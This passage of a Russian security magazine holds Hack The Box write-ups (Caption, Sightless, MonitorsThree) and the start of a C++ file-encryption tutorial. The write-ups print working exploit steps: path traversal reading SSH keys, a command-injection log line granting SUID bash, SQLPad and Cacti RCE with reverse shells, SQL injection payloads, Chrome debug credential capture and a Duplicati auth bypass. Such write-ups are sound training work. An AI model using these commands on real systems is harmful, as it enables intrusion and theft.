.cpr

Поиск эксплоитов в Google

По первой же  из  Google доступно описание уязвимости обхода
каталога в Copyparty 1.8.2.

ссылке

Описание уязвимости

Так, из  каталога  можно получить содержимое любого файла, если

кодировать слеши как  . Попробуем прочитать файл ,
для чего обратимся к такому URL:

.cpr
%252 /etc/passwd

http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd


В командной строке выполняем

 

  GET 
url

python3 h2csmuggler.py -H 'Cookie: 
session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDY3OTEzfQ.
mqLVWS80goKdTTW4UYvjdFAOH2FlATEgN4hpbJNw0ro' -X -x http://
caption.htb http://caption.htb/download\? \=http://127.0.0.1:3923/.
cpr/%252Fetc%252Fpasswd


Содержимое файла /etc/passwd

Из файла узнаём, что в системе есть пользователь . Попробуем найти

в домашнем каталоге этой учетной записи ключи SSH.

margo

 

  GET 
url

python3 h2csmuggler.py -H 'Cookie: 
session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDY3OTEzfQ.
mqLVWS80goKdTTW4UYvjdFAOH2FlATEgN4hpbJNw0ro' -X -x http://
caption.htb http://caption.htb/download\? \=http://127.0.0.1:3923/.
cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa


Приватный SSH-ключ

Находим ключ, авторизуемся с ним от имени  и получаем первый флаг.margo

Флаг пользователя

Продолжение статьи
→
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ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и запустим сканирование. В выводе будет много информации, но из важной
можно отметить только список прослушиваемых локально портов. На  хосте
открыт порт  9090, который по  умолчанию установлен в  приложении
из репозитория LogService.

Список прослушиваемых портов

В коде приложения LogService есть уязвимость, дающая возможность зло‐
умышленнику внедрять команды ОС в пользовательский ввод (строки 42–43).
Однако приложение написано на  основе Thrift, и  до этого блока кода нужно
как‑то дотянуться.

Исходный код LogService

  — это  кросс‑языковой фреймворк для  разработки сетевых приложе‐

ний. Он предоставляет средство для  описания API приложений и  автомати‐
чески генерирует код для  реализации клиент‑серверного взаимодействия
на разных языках программирования. Так как на удаленной машине работает
сервер Thrift с  методом , нам нужно реализовать клиент Thrift,
вызывающий этот метод и  передающий в  него путь к  локальному файлу
с логами.

Thrift

ReadLogFile

Метод  парсит файл и  подставляет данные в  команду .
В результате если файл будет содержать строку 

, то  выполнит цепочку

команд, включая скрипт .

ReadLogFile echo
127.0.0.1 "user-agent":

"'; /bin/bash /tmp/privesc.sh #" exec.Command
/tmp/privesc.sh

Создадим на  удаленной машине два файла:  и 

, после чего дадим права на выполнение.

/tmp/expl.log /tmp/
privesc.sh

# /tmp/expl.log
:127.0.0.1 "user-agent" "'; /bin/bash /tmp/privesc.sh #"

# /tmp/privesc.sh
chmod u+s /bin/bash


Перейдем к написанию клиента, для чего сначала установим Thrift.

apt sudo install thrift-compiler

pip install thrift


Теперь нужно подготовить определение сервиса LogService с  методом
. Файл  должен иметь следующее содер‐

жимое:
ReadLogFile log_service.thrift

  namespace go log_service

  service LogService {
    string ReadLogFile(1: string filePath)
}

Используя thrift-компилятор на  основе , сгенерируем

код на Python.

log_service.thrift

 thrift -r --gen py log_service.thrift


В текущей директории появится каталог , который будет содержать

файлы с  интерфейсами, типами данных, константами и  прочей подобной
информацией. Внутри  напишем простенький клиент, который будет

вызывать метод  и  передавать путь к  файлу .

С  Thrift я работаю впервые, и  следующий код сделан с  помощью ChatGPT,
поэтому оставлю все написанные им комментарии.

gen-py

gen-py
ReadLogFile /tmp/expl.log

   from thrift import Thrift
   from thrift.transport import TSocket
   from thrift.transport import TTransport
   from thrift.protocol import TBinaryProtocol

# Импортируем сгенерированный код
   from gen_py.LogService import LogService

 def main(log_file_path):
   # Создаем сокет и указываем адрес и порт сервера
      transport = TSocket.TSocket('127.0.0.1', 9090)

   # Устанавливаем буферированный транспорт
     transport = TTransport.TBufferedTransport(transport)

   # Используем бинарный протокол
     protocol = TBinaryProtocol.TBinaryProtocol(transport)

   # Создаем клиент для взаимодействия с сервисом LogService
     client = LogService.Client(protocol)

   # Открываем транспортное соединение
   transport.open()

   try:
       # Вызываем метод ReadLogFile на сервере
       client.ReadLogFile(log_file_path)
      except Thrift.TException as tx:
       print(f"Thrift exception: {tx.message}")

   transport.close()

# Пример использования:
  log_file_path = '/tmp/expl.log'

main(log_file_path)

Так как  порт на  сервере прослушивается только для  127.0.0.1, нужно будет
прокинуть его на свой хост с помощью SSH.

ssh -i id_ecdsa margo@caption.htb -L 9090:127.0.0.1:9090


После выполнения этой команды весь трафик, который мы пошлем на локаль‐
ный порт 9090, будет туннелирован на порт 9090 указанного хоста (в данном
случае 127.0.0.1) через SSH-хост.

Теперь запускаем наш код и проверяем права файла ./bin/bash

Права файла /bin/bash

Скрипт  отработал, и файл командной оболочки получил S-
бит.

/tmp/privesc.sh

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до  пользователя  — вла‐
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из‑за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Таким образом, мы можем запустить bash в контексте .root

Флаг рута

Машина захвачена!

https://github.com/carlospolop/PEASS-ng


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В сегодняшнем райтапе мы проведем раз‐
ведку на  сайте, затем используем уяз‐
вимость в  SQLPad. Получив сессию
в  Docker, выйдем из  него через password
reuse и  соберем информацию с  основной
системы. Отладочный режим Chrome поз‐
воляет подключиться к  удаленному движку
и перехватить учетные данные для админки
Froxlor.

Наша цель — получение прав суперпользователя на машине Sightless с учеб‐
ной площадки . Уровень задания — легкий.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.32    sightless.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел три открытых порта:
21 — служба FTP;•
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Nginx 1.18.0.•

Давай посмотрим, что нам покажет веб‑сервер.

Главная страница сайта

ТОЧКА ВХОДА

На сайте можно найти список сервисов, некоторые ведут на новые домены.

Сервисы на сайте

SQLPad ведет на новый домен — .sqlpad.sightless.htb

Адрес сервиса

Чтобы доменное имя резолвилось, надо добавить запись в файл :/etc/hosts

10.10.11.32 sightless.htb sqlpad.sightless.htb


После создания записи обновляем страницу и  получаем доступ к  сервису
SQLPad.

Главная страница SQLPad

SQLPad — это веб‑приложение для написания и выполнения SQL-запросов,
а также визуализации результатов. Сервис поддерживает большое количес‐
тво баз данных. В параметрах сервиса посмотрим версию.

Параметры установленной версии SQLPad

ТОЧКА ОПОРЫ

Первым делом стоит проверить, есть ли для найденного софта готовые экс‐
плоиты. Поможет в этом, как всегда, Google.

Поиск эксплоитов в Google

Мне удалось накопать уязвимость : в  SQLPad до  вер‐
сии 6.10.1 возможно , что приводит к удаленному выпол‐
нению кода.

CVE-2022-0944
внедрение шаблона

Описание уязвимости SQLPad

Воспользуемся автоматизированным , которому нужно передать
URL SQLPad, а также адрес и порт листенера для реверс‑шелла.

эксплоитом

Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина,
а  мы принимаем и  таким образом подключаемся к  ней, чтобы выполнять
команды от  лица пользователя, который запустил шелл. Для  приема соеди‐
нения необходимо создать на  локальной машине listener, то есть «слу‐
шатель».

Предварительно запустим листенер .pwncat-cs

pwncat-cs -lp 4321


python3 exploit.py http://sqlpad.sightless.htb/ 10.10.16.25 4321


Результат выполнения эксплоита

В окне листенера получаем сессию от  имени пользователя . По  имени

хоста становится ясно, что мы находимся в докер‑контейнере.

root

Сессия пользователя root в «Докере»

Продолжение статьи
→
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HTB SIGHTLESS
ЗАХВАТЫВАЕМ ХОСТ ЧЕРЕЗ

ОТЛАДОЧНЫЙ РЕЖИМ CHROME
И ПАНЕЛЬ FROXLOR

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ПРОДВИЖЕНИЕ

Теперь нам необходимо собрать информацию. Источников информации
очень много, и, чтобы не держать их все в голове, были разработаны 

. Загрузим на удаленный хост скрипт для Linux, дадим право на выпол‐
нение и запустим сканирование.

скрипты
PEASS

Смотрим вывод, но  на этот раз ничего интересного не  находим. Однако
у  нас есть root в  рамках контейнера, а  значит, мы можем получить хеши
паролей системных пользователей Linux из  файла  и  поп‐
робовать подобрать к ним пароли.

/etc/shadow

Содержимое файла /etc/shadow

Есть два хеша, перебирать их будем с помощью .hashcat

hashcat hashes.txt rockyou.txt


Результат подбора паролей

В итоге оба хеша быстро сбрутили. Проверим их на службе SSH на основном
хосте.

nxc ssh 10.10.11.32 -u root -p blindside

nxc ssh 10.10.11.32 -u michael -p insaneclownposse


Результат проверки учетных данных

Подключаемся к  SSH от  имени пользователя  и  забираем первый
флаг.

michael

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Так как  мы проникли на  другой хост, снова проводим разведку с  помощью
.linpeas.sh

Среди процессов в системе есть запущенный Google Chrome с активной
функцией удаленной отладки.

Список процессов

В системе прослушивается много портов для  localhost. Большая часть
из них — это порты для отладки в Chrome, но есть и типичный для веб‑сер‐
висов порт 8080.

Открытые порты

Файл с  настройками веб‑сервера Apache поясняет, что на  пор‐
те 8080 работает веб‑сервис Froxlor.

Настройки Apache

Froxlor  — бесплатная панель управления хостингом для  Linux, которая поз‐
воляет управлять несколькими веб‑сайтами на одном сервере. Но так как он
доступен только для  локального хоста, необходимо построить туннель
с помощью SSH.

ssh michael@10.10.11.32 -L 8000:127.0.0.1:8080


Весь трафик, который мы пошлем на локальный порт 8000, будет туннелиро‐
ван на  порт  8080  указанного хоста (в данном случае  127.0.0.1) через SSH-
хост. Теперь можно просмотреть панель через браузер.

Форма авторизации Froxlor

Вернемся к отладке Chrome.

Chrome Debug
Если у Google Chrome активна удаленная отладка, то можно с помощью дру‐
гого браузера Chrome подключиться к порту отладчика и получать все данные
из браузера отладчика. Это позволит как бы «подсматривать» за пользовате‐
лем. Но первым делом устроим SSH-туннель для всех прослушиваемых пор‐
тов.

ssh michael@10.10.11.32 -L 0.0.0.0:8080:127.0.0.1:8080 -L 0.0.0.0:
47259:127.0.0.1:47259 -L 0.0.0.0:43375:127.0.0.1:43375 -L 0.0.0.0:
33487:127.0.0.1:33487 -L 0.0.0.0:33060:127.0.0.1:33060 -L 0.0.0.0:
3000:127.0.0.1:3000 -L 0.0.0.0:3306:127.0.0.1:3306


Туннель готов, займемся настройкой браузера. В  строке поиска переходим
на страницу  и в графе Discover network targets указываем

адрес локального хоста и все туннелируемые порты.

chrome://inspect

Добавление хоста

Теперь, когда пользователь зайдет на  какую‑то страницу, информация
об  этом будет отображена здесь же. Так, в  данном случае пользователь
зашел на страницу вот с таким адресом:

http://admin.sightless.htb:8080/admin_logger.php?page=log


Информация о подключениях

Выбираем Inspect fallback и  получаем ту же страницу, что отображается
у пользователя.

Отладчик Google Chrome

Среди переданных пакетов находим запрос на  авторизацию, из  которого
получаем учетные данные администратора системы.

Учетные данные для Froxlor

Froxlor RCE
Права администратора Froxlor дают возможность настраивать системы, в том
числе и  указывать команды для  старта или  рестарта служб. Там мы сможем
задать свою команду и дождаться ее выполнения в привилегированном кон‐
тексте.

Перейдем к  настройкам PHP → PHP-FPM versions и  изменим текущую
запись, указав в качестве команды рестарта  копирование SSH-ключа
root в каталог пользователя.

php-fpm

cp /root/.ssh/id_rsa /home/michael/id_rsa


Записи PHP-FPM

Измененная конфигурация

Чтобы PHP-FPM перезапустился, перейдем в настройки System → Settings →
PHP-FPM, отключим модуль, сохраним настройки, а  затем включим модуль
и снова сохраним конфиг.

Изменение настроек

В домашнем каталоге пользователя появился ключ.

Содержимое домашнего каталога

Теперь проделаем все те же действия, чтобы назначить право чтения на файл
ключа. Следом подключаемся от рута и забираем последний флаг.

Флаг рута

Машина захвачена!

https://github.com/carlospolop/PEASS-ng


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В сегодняшнем райтапе мы проведем атаку
на  веб‑сервер, используя SQL-инъекцию
и  ошибку в  веб‑приложении Cacti. На  сер‐
вере найдем учетные данные и  повысим
привилегии через создание бэкапа
при помощи программы Duplicati.

Наша цель  — получение прав суперпользователя на  машине MonitorsThree
с учебной площадки . Уровень сложности задания — средний.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.30    monitorsthree.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел два интересных нам открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Nginx 1.18.0.•

В логах сканера видно, что с  80-го порта выполняется редирект на  домен
.monitorsthree.htb

Главная страница сайта

ТОЧКА ВХОДА

На сайте есть форма логина, а также возможность сбросить пароль.

Форма авторизации

В них можно поискать возможности для инъекций, но давай сначала закончим
с разведкой. Следующий шаг — сканирование сайта на предмет интересных
каталогов и файлов.

Справка: сканирование веба c ffuf
Одно из  первых действий при  тестировании безопасности веб‑приложе‐
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде  и  .dirsearch DIRB

Я предпочитаю легкий и  очень быстрый . При  запуске указываем сле‐
дующие параметры:

ffuf

 — словарь (я использую словари из набора );• -w SecLists
 — количество потоков;• -t

 — URL;• -u

 — HTTP-заголовок.• -H

Место перебора помечается словом FUZZ.

Задаем все параметры и запускаем :ffuf

ffuf   
 128


-u http://monitorsthree.htb/ -H 'Host: FUZZ.monitorsthree.htb'
-w subdomains-top1million-110000.txt -t

Результат сканирования поддоменов

Утилита пошла выводить все варианты из  словаря, поэтому нужно задать
фильтр, например по размеру ответа (параметр ).-fs

ffuf   
 128 

-u http://monitorsthree.htb/ -H 'Host: FUZZ.monitorsthree.htb'
-w subdomains-top1million-110000.txt -t -fs 13560


Результат сканирования поддоменов

Так находим еще  один поддомен. Обновляем запись в  файле 

и смотрим сайт через браузер.

/etc/hosts

10.10.11.30 monitorsthree.htb cacti.monitorsthree.htb


Главная страница сайта Cacti

Перед нами система Cacti. Это  опенсорсная платформа для  оперативного
мониторинга. Здесь же мы узнаём версию  — 1.2.26  — и  можем сразу про‐
верить, есть ли для нее готовые эксплоиты.

Поиск эксплоитов в Google

В этой версии есть уязвимость , которая позволяет импорти‐
ровать свой шаблон и таким образом получить удаленное выполнение кода.
По   можно понять, что для эксплуатации требуется авто‐
ризация, а учетных данных у нас пока нет.

CVE-2024-25641

описанию эксплоита

Описание эксплоита

Вернемся на  первый сайт и  проверим формы авторизации и  смены пароля
базовыми нагрузками. Так, нагрузка  вернет «хороший»
ответ, а нагрузка  — «плохой».

admin' or 1=1 -- -
admin' and 1=2 -- -

Хороший ответ сервера

Плохой ответ сервера

ТОЧКА ОПОРЫ

В браузере переходим в  режим разработчика и  копируем в  один файл сна‐
чала запрос на сервер, а затем передаваемые данные.

Запрос на сервер

Передаваемые данные

Теперь передаем файл в   и  ждем, пока утилита подберет нагрузку
для сайта.

sqlmap

sqlmap -r req.txt --batch

Нагрузка для SQL-инъекции

Теперь получим базы данных на  сервере (параметр ). Sqlmap будет

использовать найденную ранее нагрузку.

--dbs

 sqlmap -r req.txt --batch --dbs

Базы данных на сервере

Нас интересует база данных . Так как  получение данных

идет очень долго, сразу попробуем запросить информацию из  столбцов
 и   (параметр ) таблицы  (параметр ).

monitorsthree_db

username password -C users -T

   sqlmap -r req.txt --batch -D monitorsthree_db -T users -C username,
password --dump

Содержимое таблицы users

Отправляем хеши на   и  добываем пароль для  учетной записи
.

СrackStation

admin

Результат взлома хешей

С полученными учетными данными успешно авторизуемся на сайте.

Главная страница авторизованного пользователя

Cacti RCE
Те же учетные данные подошли к CMS Cacti.

Главная страница Cacti

Так как у нас теперь есть авторизованный доступ, мы можем заюзать найден‐
ную ранее уязвимость с помощью . Попробу‐
ем выполнить команду .

автоматизированного эксплоита
id

 python3 CVE-2024-25641.py -u admin -p greencacti2001 -x id http://
cacti.monitorsthree.htb/cacti


Результат выполнения команды

Команда успешно отработала, а  значит, через RCE можно выполнить
реверс‑шелл. Я сгенерировал реверс‑шелл онлайновой утилитой 

.
Reverse

Shells Generator

Генерация реверс‑шелла

Запускаем листенер:

pwncat-cs -lp 4321


И выполняем реверс‑шелл в формате Base64. Почти сразу получаем сессию
пользователя .www-data

Выполнение реверс‑шелла

Сессия www-data

ПРОДВИЖЕНИЕ

Так как  на хосте работают несколько веб‑приложений, первым делом про‐
веряем учетные данные в  базе данных. Учетные данные для  подключения
к ней получим из файла ./include/config.php

Содержимое файла config.php

Подключаемся к базе  и дампим логины и хеши из таблицы .cacti user_auth

mysql -u cactiuser -p

 use cacti;
   select username,password from user_auth;

Содержимое таблицы user_auth

Отправляем на  брут хеш пользователя  и  спустя несколько секунд
получаем очень легкий пароль.

marcus

 hashcat -m3200 '$2y$10$Fq8wGXvlM3Le.
5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK' rockyou.txt


Результат брута хеша

Пользователь  зарегистрирован в системе, поэтому логинимся от его
имени с помощью  и получаем первый флаг.

marcus
su

Пользователи с командной оболочкой

Флаг пользователя

Продолжение статьи
→
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HTB MONITORSTHREE
ИСПОЛЬЗУЕМ SQL-ИНЪЕКЦИЮ

И БЭКАП DUPLICATI ПРИ АТАКЕ
НА ВЕБ-СЕРВЕР

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и начнем сканирование. Следом смотрим, что интересного нашлось.

У текущего пользователя есть приватный ключ SSH. Его мы, конечно,
забираем и получаем полноценную командную оболочку.

SSH-ключ

На адресе 127.0.0.1 прослушивается несколько портов, в том числе интерес‐
ный 8200.

Прослушиваемые порты

В каталоге  есть директории разных сервисов./opt

Содержимое каталога /opt

Просмотрим, что за сайт на порте 8200. Чтобы открыть его в браузере, сна‐
чала придется прокинуть порт на свой хост с помощью SSH.

ssh -i id_rsa marcus@monitorsthree.htb -L 8200:127.0.0.1:8200


Таким образом весь трафик, который мы пошлем на  локальный порт  8200,
будет туннелирован на  порт  8200  указанного хоста (в данном слу‐
чае  127.0.0.1) через SSH-хост. Теперь можно посмотреть сайт через бра‐
узер.

Форма авторизации Duplicati

Duplicati  — клиент‑серверная программа для  резервного копирования.
Duplicati позволяет бэкапить шифрованные и сжатые копии локальных файлов
на  облачные службы хранения и  удаленные файловые серверы. Директория
сервиса была в каталоге ./opt

Содержимое каталога /opt/duplicati

Duplicati auth bypass
Так как  исходники Duplicati открыты, мы можем найти и  просмотреть уяз‐
вимости и  исправления на  GitHub. Так находим подробное  уяз‐
вимости обхода авторизации.

описание

Описание уязвимости

Раз у нас есть доступ к локальному каталогу Duplicati, мы можем получить зна‐
чение  из  таблицы  базы данных приложения

и обойти авторизацию.

server-passphrase Option

Содержимое таблицы Option

А теперь перекодируем полученное значение 

из Base64 в Hex.

server-passphrase

 |  
  256


echo Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= base64 -d | xxd 
-p -c

Перекодированное значение server-passphrase

Переходим к странице логина и ловим запрос авторизации в Burp Proxy. Пер‐
вый запрос на получение  пропускаем, а вот тот, где отправ‐

ляется зашифрованный пароль, оставляем.

session-nonce

Первый запрос

Второй запрос

Открываем панель разработчика в  браузере и  в окне отладки JavaScript
выполняем небольшой скрипт, где используем значение 

из запроса. Получаем валидный зашифрованный пароль.

session-nonce

    var session_nonce = .... ;
   var saltedpwd = '

59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
   

  
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.
Base64.parse(session_nonce) + saltedpwd)).toString(CryptoJS.enc.
Base64);
noncedpwd

Вставляем полученный пароль в  перехваченный запрос и  в браузере видим
страницу администратора Duplicati.

Запрос на сервер

Главная страница Duplicati

Duplicati file backup
Теперь попробуем сделать резервную копию каталога рута. Переходим
на  страницу «Добавить резервную копию» и  выбираем «Настройка новой
резервной копии».

Меню добавления резервной копии

На первом шаге задаем имя и выбираем параметр «Без шифрования».

Шаг 1

На втором шаге указываем каталог, куда будет сохранена резервная копия. Я
выбрал домашний каталог текущего пользователя.

Шаг 2

На шаге  3  выбираем файлы, бэкап которых нужно сделать. Пусть это  будет
флаг рута.

Шаг 3

Остальные шаги оставляем по умолчанию.

Шаг 4

После настройки резервного копирования переходим на  главную страницу,
выбираем нашу настройку и запускаем ее. В домашнем каталоге пользовате‐
ля найдем архивы Duplicati.

Запуск резервного копирования

Содержимое домашнего каталога

Проверяем архивы и находим скопированный файл рута.

Флаг рута

Машина захвачена, и мы можем получить любые данные из системы.

https://github.com/carlospolop/PEASS-ng
https://github.com/duplicati/duplicati/issues/5197


Nik Zerof
xtahi0nix@gmail.com

КОДИНГ

Сегодня мы с  тобой разработаем собс‐
твенную программу для  шифрования фай‐
лов. Писать будем на  C++ и  используем
криптоалгоритмы из  библиотеки .
Давай посмотрим, какие подводные камни
есть при  разработке подобных программ
и как ненароком не помочь атакующему.

Botan

ЧТО ПОМОГАЕТ АТАКУЮЩЕМУ ВЗЛОМАТЬ ШИФРОВАНИЕ

Значительно облегчить задачу атакующему, который пытается взломать
зашифрованный файл, может ряд факторов:

 Например, перебор  4-символьного

пароля займет гораздо меньше времени, чем  12-символьного, а  если
расширить алфавит, например использовав буквы верхнего и  нижнего
регистра, цифры и  спецсимволы, то это  значительно увеличивает прос‐
транство вариантов для  перебора, что сильно замедлит взлом. Разуме‐
ется, пароли не должны быть любым словарным словом или производным
от  него, иначе такой пароль будет взломан атакой по  словарю. Также
существуют так называемые rainbow tables («радужные таблицы») — пред‐
вычисленные таблицы хешей паролей. Они позволяют находить исходный
пароль по  его хешу. Если для  шифрования или  хеширования пароля
не  использовались соль или  другие защитные меры, такие атаки могут
быть достаточно эффективными.

• Длина и  сложность пароля.

 Как уже много раз говорилось,
не стоит изобретать свои алгоритмы шифрования и лучше придерживать‐
ся готовых и популярных библиотек с открытым исходным кодом. Выбирай
проверенные временем и  криптоаналитиками алгоритмы шифрования,
хеширования и KDF.

• Ошибки в реализации криптографии.

 Программы шифрования файлов могут оставлять кучу

метаданных: например, создавать в  зашифрованном файле заголовок,
в  котором указываются алгоритмы шифрования и  хеширования, версия
программы и еще куча данных. Практически все эти данные могут помочь
атакующему во  взломе. Если уже заранее известны все используемые
алгоритмы, то нужно просто таргетированно атаковать их. Даже простая
смена расширения файла на  уникальное для  твоей программы иногда
может помочь.

• Метаданные.

 Если атакующий знает часть
исходного текста, он может применить . К при‐
меру, знание, что файл содержит определенную стандартную информа‐
цию, может помочь в атаке (например, когда есть стандартный заголовок
файла).

• Известные паттерны открытого текста.

атаку с известным текстом

 Если в  программе есть какие‑то значения

по  умолчанию, то в  большинстве случаев именно они и  будут исполь‐
зоваться. Если это  программа для  шифрования, то пользователи будут
выбирать алгоритмы и их параметры, заданные изначально.

• Настройки по умолчанию.

Как можно всему этому противостоять? Давай посмотрим на вопрос глазами
разработчика шифрующей программы. Вот что его продукт должен делать:

из пользовательского пароля выработать ключ шифрования;•
зашифровать или расшифровать данные;•
учесть при этом перечисленные векторы атаки.•

Звучит просто, но есть некоторые тонкости, которые мы обсудим далее.

Случайные числа и важность PRNG
Перед началом работы с  шифрованием необходимо познакомиться
с  базовыми понятиями криптографии, с  которыми придется столкнуться
и  которые нужно будет понимать: соль (salt) и  вектор инициализации
(initialization vector, IV). Это  два компонента, которые используются в  крип‐
тографических процессах для повышения безопасности. Хотя они служат схо‐
жим целям (предотвращение предсказуемости), их роли и  способы исполь‐
зования различаются.

Соль применяется в  процессе хеширования для  создания уникальных
хешей (в том числе KDF), даже если пароль или  другие исходные данные
для хеширования одинаковы. Это усложняет попытки атак методом подбора
и  rainbow-атак, поскольку добавляет случайность к  хешу. Какую длину соли
выбрать? Если опустить некоторые математические расчеты (которые все
равно никто не читает), то можно сказать, что длина соли в 256 бит и более
считается сегодня безопасной.

Вектор инициализации применяется в  симметричном шифровании (нап‐
ример, в  режиме CBC, CFB или  GCM) и  нужен для  того, чтобы одинаковые
сообщения, зашифрованные одинаковым ключом, давали разные результаты.
Это  предотвращает предсказуемость зашифрованных данных, улучшая их
безопасность.

Соль и  IV должны быть случайными, но случайность соли более критична,
чем случайность IV. Строго говоря, IV должен быть просто уникальным
для  зашифрованных данных при  использовании режима GCM (для режима
AEAD более верно его назвать nonce). Библиотека Botan, которая исполь‐
зуется в  статье, позволяет генерировать случайные числа при  помощи фун‐
кций  и  .randomize_with_ts_input randomize

ШИФРУЕМ ФАЙЛЫ

Как создается ключ шифрования
После того как  пользователь введет пароль для  шифрования данных, его
необходимо превратить в ключ шифрования. Для этого придуманы специаль‐
ные математические функции выработки ключа из  пароля  — Key Derivation
Function (KDF). Еще  их называют «медленные хеши», потому что ключ
из пароля создается медленно: эта процедура требует значительных ресур‐
сов процессора и оперативной памяти. Так сделано намеренно, чтобы про‐
тивостоять атакам сплошного перебора (или по  большому словарю): ата‐
кующему нужно перебрать сотни миллионов комбинаций, чтобы получить
правильный пароль, а  когда используются сильные функции KDF, скорость
подбора будет критически мала и на взлом пароля уйдет слишком много вре‐
мени.

Кроме того, функции KDF можно настраивать и усиливать, что совсем пос‐
тавит крест на идее взлома пароля перебором. Естественно, мы используем
именно вариант с хардкорной настройкой KDF для настоящих параноиков!

В статье в  качестве функции KDF я буду использовать Argon2id.
Это финалист конкурса . У этой функции есть несколько настраиваемых
параметров: количество используемой памяти для выработки ключа, количес‐
тво итераций и число потоков выполнения. Строго говоря, выбор параметров
для разных ситуаций регламентируется , но для статьи я использую
такие параметры: размер памяти — 2 Гбайт, одна итерация, четыре потока.
Разумеется, ты можешь их изменить как  угодно, но  лучше увеличивать, а  не
уменьшать.

PHC

RFC 9106

Итак, код создания ключа из пароля будет таким.

// Имеется такая структура определения параметров ключа
     struct KeyParam {

        Botan::secure_vector<uint8_t> key;
        Botan::secure_vector<uint8_t> salt;
        Botan::secure_vector<uint8_t> iv;

   }

...

 size_t derive_key_from_pass(
 // Передаем пароль пользователя
     const std::string& password,
   // Структура параметров ключа
    KeyParam& keydata
)
{
    try {

       // Используем PRNG, встроенный в Botan
        Botan::AutoSeeded_RNG rng;

       // Создали случайную соль длиной 256 бит
        rng.randomize_with_ts_input(&keydata.salt[0], 32);

   // Используем алгоритм Argon2id для KDF
       Botan::PasswordHashFamily::create_or_throw("Argon2id")->
         // Установили параметры — размер памяти в килобайтах, 
число итераций и потоков

             from_params(2097120, 1, 4)->
           // Передали соль, пароль и получили ключ в keydata.key

             hash(keydata.key, password, keydata.salt);

        return ERROR_OK;
   }
